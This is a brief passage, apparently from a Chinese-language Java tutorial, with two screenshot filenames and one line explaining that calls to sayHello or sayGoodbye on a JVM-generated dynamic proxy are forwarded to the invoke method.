WX20201114-144902@2x

  • 当这个被JVM加工过的变量的sayHello或者sayGoodbye方法被调用时候,将由JVM自动转交到invoke下去。

WX20201114-145321@2x